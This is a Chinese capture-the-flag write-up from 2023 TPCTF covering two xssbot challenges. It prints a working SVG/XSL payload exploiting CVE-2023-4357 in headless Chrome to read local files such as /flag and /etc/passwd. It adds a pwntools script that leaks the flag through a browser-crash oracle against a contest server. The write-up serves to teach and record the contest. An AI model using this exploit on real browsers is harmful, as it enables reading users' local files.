2023 TPCTF WP
Drunkbaby Lv6
  • Nepnep yyds!

2023 TPCTF WP

xssbot | SOLVED | working : 晚风

看着像用前几天爆出来的这个CVE-2023-4357来任意文件读取,本地复现ing…done!

payload

魔改自:https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE

Xssbot but no Internet | SOLVED | working : LemonPrefect,晚风

BOT 接受一个文件并使用 Chrome 无头浏览器进行访问,根据 Dockerfile 可知其 flag 位于 /flag。因此使用最近释出的针对 <116.0.5845.96 版本 Chrome 的 libxslt 任意文件包含漏洞处理。

默认情况下,Chrome 对跨域做了严格的限制,但针对于 XSL 样式表中利用 document() 包含的外部文件没有做严格限定。因此可以利用这部分进行文件包含。

https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE

由于靶机并不能出网,所以无法直接发起请求外带出文件。分析 BOT 的代码发现其在 driver.get 方法中访问上传的文件并 catch 了所有错误。因此尝试使 get 方法产生异常。

此处使用一个超长的 url 重定向使 Chrome 崩溃从而产生一个 selenium.common.exceptions.TimeoutException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!-- <!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd"> -->
<!-- <!ENTITY sysini_p "file:///c:/windows/system.ini"> -->
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<!-- <p class="&passwd_p;">&passwd_c;</p> -->
<p class="flag">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: &lt;textarea style="width:100%;height:1rem">${location.href}&lt;/textarea>&lt;br/>&lt;br/>`;
var text = "";
document.querySelectorAll('p').forEach(p => {
flag = p.innerText
if(flag.startsWith("LEMON_HIT_FLAG")){
var total = 0;
for(var i = 0; i &lt; 10000000000000; i++){
total += i.toString();
history.pushState(0, 0, total);
}
}
document.querySelector('#r').innerHTML += `
local file path: &lt;textarea style="width:100%;height:1rem">${ p.className }&lt;/textarea>&lt;br/>
local file content:&lt;textarea style="width:100%;height:6rem">${ p.innerHTML }&lt;/textarea>&lt;br/>&lt;br/>`;
});

</script>
</body>
</xsl:template>
</xsl:stylesheet>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import threading

sem = threading.Semaphore(6)
now = "TPCTF{"
should_be_next = False

def push(slice: str):
global now
global should_be_next
now = slice
should_be_next = True

def task(attempt: str):
global now
global should_be_next
sem.acquire()
if should_be_next:
sem.release()
return
proc = remote("202.112.238.82", "23379")
proc.sendlineafter(b"File name:", b"lemon.svg")
proc.sendafter(b"Input your file:", open(
"./test.svg", "rb").read().replace(b"LEMON_HIT_FLAG", attempt.encode()))
print(f"[*] Trying {attempt}")
proc.sendline(b"EOF")
proc.recvuntil(b"Now browsing your website...\n")
message = proc.recvline().decode().strip()
proc.close()
print(f"[*] Message: {message}")
if "ERROR" in message:
print(f"[*] Tried `{attempt}' success as {message}.")
push(attempt)
elif "Bye" in message:
print(f"[x] Tried `{attempt}' failed as {message}.")
else:
print(message)
sem.release()

if __name__ == "__main__":
alphabets = "0123456789abcdefghijklmnopqrstuvwxyz_-ABCDEFGHIJKLMNOPQRSTUVWXYZ'{}"
while not now.endswith("}"):
threads = []
should_be_next = False
for alphabet in alphabets:
attempt = now + alphabet
t = threading.Thread(target=task, args=(attempt,))
threads.append(t)
t.start()
for t in threads:
t.join()
print(now)

walk off the earth | SOLVED| working : So1,Drunkbaby,LemonPrefect

应出题人要求隐去 WP

walk off the solar system | SO1VED | working : Drunkbaby,LemonPrefect

请参照 walk off the earth,所用方法和脚本都一致,在此不再赘述。

 评论